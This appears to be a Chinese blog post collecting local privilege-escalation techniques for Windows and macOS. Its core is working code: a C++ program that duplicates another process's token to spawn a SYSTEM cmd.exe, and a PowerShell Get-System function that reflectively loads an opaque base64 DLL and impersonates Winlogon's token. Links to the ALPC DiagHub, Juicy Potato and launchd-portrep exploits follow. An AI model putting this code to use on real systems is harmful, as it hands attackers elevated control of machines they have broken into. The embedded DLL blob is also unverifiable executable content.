enter description here

1.Windows API和模拟(get-system)

https://0x00-0x00.github.io/research/2018/10/17/Windows-API-and-Impersonation-Part1.html
enter description here

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#include <windows.h>
#include <stdio.h>
using namespace std;
HANDLE GetAccessToken(DWORD pid)
{

	/* Retrieves an access token for a process */
	HANDLE currentProcess = {};
	HANDLE AccessToken = {};
	DWORD LastError;

	if (pid == 0)
	{
		currentProcess = GetCurrentProcess();
	}
	else
	{
		currentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid);
		if (!currentProcess)
		{
			LastError = GetLastError();
			wprintf(L"ERROR: OpenProcess(): %d\n", LastError);
			return (HANDLE)NULL;
		}
	}
	if (!OpenProcessToken(currentProcess, TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY, &AccessToken))
	{
		LastError = GetLastError();
		wprintf(L"ERROR: OpenProcessToken(): %d\n", LastError);
		return (HANDLE)NULL;
	}
	return AccessToken;
}

int wmain(int argc, WCHAR **argv)
{
	DWORD LastError;

	/* Argument Check */
	if (argc < 2)
	{
		wprintf(L"Usage: %ls <PID>\n", argv[0]);
		return 1;
	}

	/* Process ID definition */
	DWORD pid;
	pid = _wtoi(argv[1]);
	if ((pid == NULL) || (pid == 0)) return 1;

	wprintf(L"[+] Pid Chosen: %d\n", pid);

	// Retrieves the remote process token.
	HANDLE pToken = GetAccessToken( pid);

	//These are required to call DuplicateTokenEx.
	SECURITY_IMPERSONATION_LEVEL seImpersonateLevel = SecurityImpersonation;
	TOKEN_TYPE tokenType = TokenPrimary;
	HANDLE pNewToken = new HANDLE;
	if (!DuplicateTokenEx(pToken, MAXIMUM_ALLOWED, NULL, seImpersonateLevel, tokenType, &pNewToken))
	{
		DWORD LastError = GetLastError();
		wprintf(L"ERROR: Could not duplicate process token [%d]\n", LastError);
		return 1;
	}
	wprintf(L"Process token has been duplicated.\n");
	if (!DuplicateTokenEx(pToken, MAXIMUM_ALLOWED, NULL, seImpersonateLevel, tokenType, &pNewToken))
	{
		DWORD LastError = GetLastError();
		wprintf(L"ERROR: Could not duplicate process token [%d]\n", LastError);
		return 1;
	}
	wprintf(L"Process token has been duplicated.\n");

	/* Starts a new process with SYSTEM token */
	STARTUPINFOW si = {};
	PROCESS_INFORMATION pi = {};
	BOOL ret;
	ret = CreateProcessWithTokenW(pNewToken, LOGON_NETCREDENTIALS_ONLY, L"C:\\Windows\\System32\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
	if (!ret)
	{
		DWORD lastError;
		lastError = GetLastError();
		wprintf(L"CreateProcessWithTokenW: %d\n", lastError);
		return 1;
	}

}

以上是更改后的代码。

2.Windows API和模拟(powershell)

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function Get-System 
{
    if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') 
    {
        Write-Output "This powershell shell is not in STA mode!";
        return ;
    }
    if(-not ([System.Management.Automation.PSTypeName]"zc00l.ImpersonationToken").Type) {
        [Reflection.Assembly]::Load([Convert]::FromBase64String("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nACfAAkAoACkAAkApACpAAkAqACuAAkArACzAAkAsAC4AC4ACwApAS4AEwAyAS4AGwBRAS4AIwBaAS4AKwB1AS4AMwB1AS4AOwB1AS4AQwBaAS4ASwB7AS4AUwB1AS4AWwB1AS4AYwCTAS4AawC9AS4AcwDKAeMAewByABMAwAAlAMAAKQDAADQAvQA8AL0AGgAiADwAXgAcBSkFAAEDALkEAQBAAQUAYAcCAEABCQC0BQEAAAELAHMFAQBAAQ0AZAUBAEABDwDUBgEAQAERAGwHAgBAARMA+wQBAASAAAABAAAAAAAAAAAAAAAAANsAAAAEAAAAAAAAAAAAAABpACkCAAAAAAQAAAAAAAAAAAAAAGkAWAUAAAAAAwACAAQAAgAFAAIABgACAAcAAgAnAFkAAAAAPE1vZHVsZT4AVE9LRU5fUkVBRABTVEFOREFSRF9SSUdIVFNfUkVBRABTRV9QUklWSUxFR0VfRU5BQkxFRABTVEFOREFSRF9SSUdIVFNfUkVRVUlSRUQAU0VfUFJJVklMRUdFX1JFTU9WRUQAVE9LRU5fQURKVVNUX1NFU1NJT05JRABMVUlEAFRPS0VOX1FVRVJZX1NPVVJDRQBUT0tFTl9EVVBMSUNBVEUAVE9LRU5fSU1QRVJTT05BVEUAU0VDVVJJVFlfSU1QRVJTT05BVElPTl9MRVZFTABJbXBlcnNvbmF0aW9uVG9rZW5ETEwAUFJPQ0VTU19RVUVSWV9JTkZPUk1BVElPTgBUT0tFTl9QUklWSUxFR0VTAFRPS0VOX0FESlVTVF9QUklWSUxFR0VTAExVSURfQU5EX0FUVFJJQlVURVMAVE9LRU5fQURKVVNUX0dST1VQUwBUT0tFTl9BTExfQUNDRVNTAFNFX1BSSVZJTEVHRV9VU0VEX0ZPUl9BQ0NFU1MAUFJJVklMRUdFX1NFVABUT0tFTl9BREpVU1RfREVGQVVMVABTRV9QUklWSUxFR0VfRU5BQkxFRF9CWV9ERUZBVUxUAEFOWVNJWkVfQVJSQVkAVE9LRU5fQVNTSUdOX1BSSU1BUlkAUFJJVklMRUdFX1NFVF9BTExfTkVDRVNTQVJZAFRPS0VOX1FVRVJZAHZhbHVlX18AU2V0UXVvdGEAbXNjb3JsaWIAcHJvYwBnZXRfSWQAcHJvY2Vzc0lkAFZpcnR1YWxNZW1vcnlSZWFkAENyZWF0ZVRocmVhZABJc1ByaXZpbGVnZUVuYWJsZWQAcGlkAGxwTHVpZABFbmFibGVQcml2aWxlZ2UARHVwbGljYXRlSGFuZGxlAER1cGxpY2F0ZVRva2VuSGFuZGxlAEV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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")) | Out-Null
        Write-Output "DLL has been reflected."
    }
    
    if(-not [zc00l.ImpersonationToken]::ImpersonateProcessToken((Get-Process Winlogon).Id))
    {
        Write-Output "Could not Impersonate Token! Maybe you are not Local Admin?";
        return;
    }
    Write-Output "We are: $([Environment]::Username)"
}

enter description here

3.利用ALPC Flaw与Server 2016和Windows 10中的Diagnostics Hub相结合

https://github.com/realoriginal/alpc-diaghub
enter description here
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4.Juicy Potato

https://ohpe.it/juicy-potato/
https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
enter description here

5. MAC OSX (get-root)

https://github.com/bazad/launchd-portrep
(修复于MAC OSX 10.14)
enter description here